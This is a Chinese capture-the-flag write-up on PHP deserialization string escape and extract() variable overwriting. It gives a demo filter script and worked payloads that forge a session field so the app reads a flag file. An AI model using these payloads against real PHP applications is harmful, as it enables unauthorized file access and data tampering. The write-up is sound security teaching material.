知识点:反序列化字符串逃逸(2种情形),extract变量覆盖漏洞
一般这类漏洞,都是在序列化之后,过滤,然后反序列化引起的。
了解反序列化字符串逃逸之前,先了解反序列化的规则
例如:
a:2:{s:4:"user";s:5:"guest";s:8:"function";s:3:"aaa";}
//第一个a代表这是一个数组序列化
php反序列化会以 ; 来分隔字符段,以 } 为结尾,并且每个字段的内容是根据长度判断的,比如s:4:“user”;里面的4表示内容长度为4,若为s:4:“user1”;就会报错,也可以自己添加字段。
比如:
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"aaa";s:4:"pass";s:3:"123";}
#参考字节脉搏实验室
function lemon($string){
$lemon = '/p/i';
return preg_replace($lemon,'ww',$string);//若匹配到p则换为ww
}
echo "原序列:
";
$username = $_POST['a'];
$age = '20';
$user = array($username,$age);
var_dump(serialize($user));
echo "
";
echo "过滤后:
";
$r = lemon(serialize($user));//对序列化后的user数组过滤
var_dump($r);
echo "
过滤后反序列化:";
var_dump(unserialize($r));
?>
当我们输入pppp时被替换为wwwwwwww,反序列化没有成功,以为长度匹配不上。
我们可以通过这个过滤来改age的值,序列化后也就是";i:1;s:2:“50”;},长度为16,且一个p会被替换为两个ww,所以可以构造16个p,过滤后变为32个w,刚好修改前后的长度相等
pppppppppppppppp";i:1;s:2:"50";}
过滤后
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
a:2:{i:0;s:32:"【pppppppppppppppp";i:1;s:2:"50";}】";i:1;s:2:"20";}
//【】内为我们构造的值
过滤后:
a:2:{i:0;s:32:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww"【;i:1;s:2:"50";}】";i:1;s:2:"20";}
//【】内为我们想要的值,age=50
//刚好32个w,不仅包含了16个p所在的位置,也包含了";i:1;s:2:"50";}所在的位置。
<1>对SESSION初始化,以及判断
extract函数:将变量从数组中导入当前的符号表,这里是把post里的值取出来变为PHP变量,比如name=user,则为$name=user,最重要的是它会再变量冲突时覆盖前面的变量。
<2>先对SESSION序列化然后再调用filter过滤
<3>判断function,有两个需要注意的,一个是等于phpinfo时,还有一个是等于show_image时,file_get_contents获取文件内容这边就是我们得到flag的地方
得到flag名,但要怎么使img等于d0g3_f1ag.php呢?
base64_decode($userinfo[‘img’])=d0g3_f1ag.php
而$userinfo是由$_SESSION序列化过滤后,再反序列化得到的,这变就形成了一个反序列化字符串逃逸。可以通过extract来覆盖掉$_SESSION[“user”]和$_SESSION[“function”]来对他们重新赋值。
先分析一波序列化的字符串,这题过滤会把匹配到的变为空字符串,如果我们构造一个user=flag,过滤后变为空,现在就多出4个字符,因为";s:8:“function”;s:xx:“a为24个字符(两个x表示function长度为两位数),所以我们user要6个flag,
且[function]=a”;s:8:“function”;s:5:“abcde”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;}
payload:
f=show_image
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
看看构造
过滤前
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:xx:"【a";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}】";}
//【】括号内为我们的值
过滤后的
a:3:{s:4:"user";s:24:"【";s:8:"function";s:xx:"a】";s:8:"function";s:5:"abcde";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//括号内的为我们过滤后user值向后包含24个字符
看到flag所在文件名,把img的值变一下,要base64编码
f=show_image
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤前
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
过滤后
a:2:{s:7:"【";s:48:】";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
下面的步骤和值替换一样
总结:
反序列化字符串逃逸产生的原因及解:
字符串先序列化后,再过滤,最后反序列化,
导致在过滤时通过字段长度来包含后面所多余的字段,使得多余的字段变成了一个字段的值
然后再构造我们所需要的字段和值。
最后本题可以通过下面这个来观察序列化的变化:
$_SESSION['user'] = 'bbb';
$_SESSION['function'] = 'aaa';//因为后面我们会变量覆盖,这边只是为了方便观看
$a = serialize($_SESSION);
echo $a."
";//题目原本的序列化内容
var_dump($_SESSION);//方便看清楚各个变量值
echo "下面的是变量覆盖后的
";
extract($_POST);
$a = serialize($_SESSION);
echo $a."
";
var_dump($_SESSION);
?>